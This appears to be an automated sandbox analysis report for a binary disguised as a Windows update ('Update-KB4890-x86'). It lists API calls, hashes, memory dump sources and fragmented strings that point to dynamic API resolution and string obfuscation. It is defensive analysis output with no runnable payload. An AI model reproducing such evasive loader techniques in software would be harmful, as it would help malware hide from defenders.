                                                                    • Opcode ID: a2892d7f7661b13cf73e8cd547c792104bc9d4b467d401adbc5d1c83def5ba12
                                                                    • Instruction ID: f3cf9168e74de08882df1071f672c22a0612c2c306f6c0820370a697ac743aba
                                                                    • Opcode Fuzzy Hash: a2892d7f7661b13cf73e8cd547c792104bc9d4b467d401adbc5d1c83def5ba12
                                                                    • Instruction Fuzzy Hash: 27217C36701220ABD321AB69DC49B9F7BE4EFD9750F80442AFA41D7350D7B09847CBA6

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 474 429190-42919d GetModuleHandleA 475 4291b5-4291b9 ExitProcess 474->475 476 42919f-4291ad GetProcAddress 474->476 476->475 477 4291af 476->477 477->475
                                                                    APIs
                                                                    • GetModuleHandleA.KERNEL32(mscoree.dll,004292FE,?,0042EAB8,00000008,00429335,?,00000001,00000000,00426648,00000003), ref: 00429195
                                                                    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004291A5
                                                                    • ExitProcess.KERNEL32 ref: 004291B9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressExitHandleModuleProcProcess
                                                                    • String ID: CorExitProcess$mscoree.dll
                                                                    • API String ID: 75539706-1276376045
                                                                    • Opcode ID: 8c2fa50a3ec66fd577a0b8e8636169e5e6d711be195023716ce747e76f4f0db8
                                                                    • Instruction ID: 837725cd5bd8d62ceb7a805311689d2544094357cd19b3e86fc30850f48944c8
                                                                    • Opcode Fuzzy Hash: 8c2fa50a3ec66fd577a0b8e8636169e5e6d711be195023716ce747e76f4f0db8
                                                                    • Instruction Fuzzy Hash: BBD0E730344321EBE6111B73ED1D77B7A65BF41B41B944439B845D0160DB75CC21991D
                                                                    APIs
                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 0041230F
                                                                    • CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00412329
                                                                    • SetFilePointer.KERNELBASE(00000000,000000FC,00000000,00000002), ref: 00412353
                                                                    • ReadFile.KERNELBASE ref: 00412370
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00412377
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$CloseCreateHandleModuleNamePointerRead
                                                                    • String ID:
                                                                    • API String ID: 1352878660-0
                                                                    • Opcode ID: 287adf819acc85caeaf54933d95270eb436911dfc7abba11b07640b1e6699bc0
                                                                    • Instruction ID: c542780b36d63bd1f74abcbd7efe17dbbb97c44db4b19d55b56e5dd6763cd24b
                                                                    • Opcode Fuzzy Hash: 287adf819acc85caeaf54933d95270eb436911dfc7abba11b07640b1e6699bc0
                                                                    • Instruction Fuzzy Hash: 0C11A171644360ABE324EB65EC46FEA33A8BB89710F800929F761961D0D7F45644CB9B
                                                                    APIs
                                                                    • CreateEventA.KERNEL32(00431E18,00000000,00000000,00431CAC,00431C98,0041FCDD,?,00431CAC,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F111
                                                                    • GetLastError.KERNEL32(?,?,?,?,?,00000001), ref: 0041F11D
                                                                    • WaitForSingleObject.KERNEL32(00000000,000003E8,?,?,?,?,?,00000001), ref: 0041F135
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 0041F140
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateErrorEventHandleLastObjectSingleWait
                                                                    • String ID:
                                                                    • API String ID: 5396149-0
                                                                    • Opcode ID: 7fabdc887b76636cf33a9a3860f0f978fa08689d0529247d9dc893de2f94b650
                                                                    • Instruction ID: 41ec93761c571e6fbe91694ad29752271d04f397154ed630bd7477d7537eb11e
                                                                    • Opcode Fuzzy Hash: 7fabdc887b76636cf33a9a3860f0f978fa08689d0529247d9dc893de2f94b650
                                                                    • Instruction Fuzzy Hash: 1CF01D35344220AFD3619F65DC48BABB7A4EF56311F018836FD458B390CB74AC52CBA5
                                                                    APIs
                                                                    • HeapCreate.KERNELBASE(00000000,00001000,00000000,00425E5F,00000001,?,0042E598,00000060), ref: 00428480
                                                                      • Part of subcall function 004284C0: HeapAlloc.KERNEL32(00000000,00000140,004284A8,000003F8,?,0042E598,00000060), ref: 004284CD
                                                                    • HeapDestroy.KERNEL32(?,0042E598,00000060), ref: 004284B3
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$AllocCreateDestroy
                                                                    • String ID:
                                                                    • API String ID: 2236781399-0
                                                                    • Opcode ID: 6464811ea9addaf19c19e5f0393c9d87aba79a32682558a56be755e4c38de286
                                                                    • Instruction ID: 3fe268917fd00d31aa756ebf7d8a68b1e22f7c153431ead6360d70d6e1d70485
                                                                    • Opcode Fuzzy Hash: 6464811ea9addaf19c19e5f0393c9d87aba79a32682558a56be755e4c38de286
                                                                    • Instruction Fuzzy Hash: A7E01A70B562129BEB147F316D0672E7AE49B84747F84587EB400C61A0FE788A459609
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(?,?), ref: 0041C738
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041C804
                                                                    • GetProcAddress.KERNEL32 ref: 0041C861
                                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 0041C8C5
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041C9A4
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041CA27
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$LibraryLoad
                                                                    • String ID: $#$$$$$$$$$&$&$&$&$($)$*$+$+$.$.$.$/$1$1$2$4$4$4$5$6$6$7$7$7$8$9$9$:$;$;$<$<$<$>$>$@$@$A$A$A$A$B$B$B$B$C$D$F$H$H$H$I$I$I$I$J$J$J$L$L$L$L$L$M$M$N$O$P$Q$R$R$S$S$S$S$S$S$S$T$T$T$T$W$W$W$W$X$X$Y$Z$[$[$\$^$_$_$`$`$`$`$a$a$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$f$f$g$g$g$h$h$h$h$i$i$k$l$m$n$n$n$n$n$n$n$o$o$o$p$p$q$r$r$r$s$s$t$t$t$t$t$t$u$u$v$v$w$w$w$x$x$x$y$z$|$|$~$~
                                                                    • API String ID: 2238633743-634024490
                                                                    • Opcode ID: c92be08d96a76fab994ce35617b86bcdcaf97940d9c7a17d779db1985a21b9f6
                                                                    • Instruction ID: f457ac551960ea605d3d070b3bc85a292eac30f70a1b7871ccb60a54743c72b9
                                                                    • Opcode Fuzzy Hash: c92be08d96a76fab994ce35617b86bcdcaf97940d9c7a17d779db1985a21b9f6
                                                                    • Instruction Fuzzy Hash: B8E2982000C7C2C9D332D63C984879FBFD51BA7228F584B9DE1E95A2E2D7A98149C777
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $!$!$"$"$#$#$$$$$$$%$%$&$&$&$'$'$($)$)$)$*$*$+$-$-$-$.$.$.$/$/$1$2$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$?$@$B$C$D$E$E$E$E$E$E$F$F$G$H$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$N$O$O$P$P$T$T$U$V$V$W$Z$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$a$b$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$n$n$o$o$o$p$p$q$q$r$s$s$s$t$t$u$u$x$y$z${${$}$}$}$}
                                                                    • API String ID: 0-319044234
                                                                    • Opcode ID: fcd362075771919aa209d5a175f4e19b3383066e46c272e99d7fa23161f6263d
                                                                    • Instruction ID: 112317c9313a74c9b12a8399abeb6d4382841cb44c361794d62521e76ea744b4
                                                                    • Opcode Fuzzy Hash: fcd362075771919aa209d5a175f4e19b3383066e46c272e99d7fa23161f6263d
                                                                    • Instruction Fuzzy Hash: 1513B12000C7C29AD332C63898587DFBED55BA7328F588BADD1ED4A2D2D775020AD767
                                                                    APIs
                                                                    • GetProcAddress.KERNEL32(00000000,00000032), ref: 0041D1AD
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D28A
                                                                    • GetProcAddress.KERNEL32 ref: 0041D2E2
                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041D33A
                                                                    • GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
                                                                    • LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
                                                                    • GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
                                                                    • GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
                                                                    • GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
                                                                    • GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
                                                                    • LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
                                                                    • GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$LibraryLoad
                                                                    • String ID: #$$$$$$$$$&$&$($+$.$/$1$1$2$4$4$4$6$6$7$8$9$9$:$;$<$<$<$>$>$@$A$A$A$A$B$D$H$H$H$I$I$I$J$J$J$L$L$L$M$M$N$P$Q$R$S$S$S$S$S$S$S$T$T$T$W$W$W$W$X$X$Y$[$_$_$`$`$`$`$a$c$d$e$e$e$f$g$g$g$h$h$i$i$k$l$m$n$o$p$q$r$t$t$t$u$v$v$w$w$x$x$x$y$|$|$~
                                                                    • API String ID: 2238633743-1057226733
                                                                    • Opcode ID: 173a630b285c8d64dbb48f98fbb3aa5b36f8a7ac996510606186ed8d486715af
                                                                    • Instruction ID: 2d7c54381bbd094f02955be387350197a3f66cd921c6525618d4a2725f5bc4d0
                                                                    • Opcode Fuzzy Hash: 173a630b285c8d64dbb48f98fbb3aa5b36f8a7ac996510606186ed8d486715af
                                                                    • Instruction Fuzzy Hash: 5B829A2000C7C2C9D332C67C584879FBFD51BA7228F584B9DE1E95A2E2D7A9814AC777
                                                                    APIs
                                                                    • lstrlenA.KERNEL32(?,75570440,75570440), ref: 0040C96E
                                                                    • lstrlenA.KERNEL32(?,?,?,00000002,?,00000000), ref: 0040CAE7
                                                                    • lstrlenA.KERNEL32(?), ref: 0040CAFA
                                                                    • lstrlenA.KERNEL32(00000000), ref: 0040CC34
                                                                    • lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CCBA
                                                                    • lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CDD4
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: lstrlen
                                                                    • String ID: !$!$!$!$!$!$"$#$%$%$&$&$&$&u#&$'$'$'$($+$+$--%s$--%s--$.$.$/$/$0$0$0$0$0$1$2$3$3$4$4$4$4$4$5$5$6$7$8$8$8$8$8$9$9$9$:$:$:$:$:$<$<$<$<$<$=$>$?$@$A$A$E$E$E$F$K$M$P$P$Q$Q$T$U$U$W$X$X$Z$[$[$\$\$]$_$_$_$_$`$`$c$d$e$f$g$g$h$i$i$i$j$k$m$n$n$n$n$o$q$t$t$u$u$w$w$w$x$x$x
                                                                    • API String ID: 1659193697-105764249
                                                                    • Opcode ID: 6ebbdf2303aa1300f31e8ae64d91612264c5d94e1ec949d67e2f50ec83c66ff8
                                                                    • Instruction ID: 76a2d0d3a120653ea146fb598d041ca30ec9760fe042aa55d2c4b689ffa964e7
                                                                    • Opcode Fuzzy Hash: 6ebbdf2303aa1300f31e8ae64d91612264c5d94e1ec949d67e2f50ec83c66ff8
                                                                    • Instruction Fuzzy Hash: 40A2072110C7C1D9D332C738988878FBFD51BA7228F485B9DE1E85A2D2D7B98149C76B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $!$!$"$"$#$#$$$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
                                                                    • API String ID: 0-2726720408
                                                                    • Opcode ID: d90f52c8fe020ae98f048a66078bda6c6929cc3fb972793910aa825a6ba0364b
                                                                    • Instruction ID: c0d7f1d9a2f8d6b118605d4ad9cba7deefa6b9821a418fff6e8ca7fff8a3d635
                                                                    • Opcode Fuzzy Hash: d90f52c8fe020ae98f048a66078bda6c6929cc3fb972793910aa825a6ba0364b
                                                                    • Instruction Fuzzy Hash: 2CF2AF2000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $!$!$"$"$#$#$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
                                                                    • API String ID: 0-3452857728
                                                                    • Opcode ID: 1c6a306a2b6ec83f071b6c5e29ea358bffd991bd0d6fadaf44c47d54e099cf3b
                                                                    • Instruction ID: f89c03aa277b30708e93470f35b2be22918357344e2688cb743a074f04aa4e51
                                                                    • Opcode Fuzzy Hash: 1c6a306a2b6ec83f071b6c5e29ea358bffd991bd0d6fadaf44c47d54e099cf3b
                                                                    • Instruction Fuzzy Hash: 5AF2AF2000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
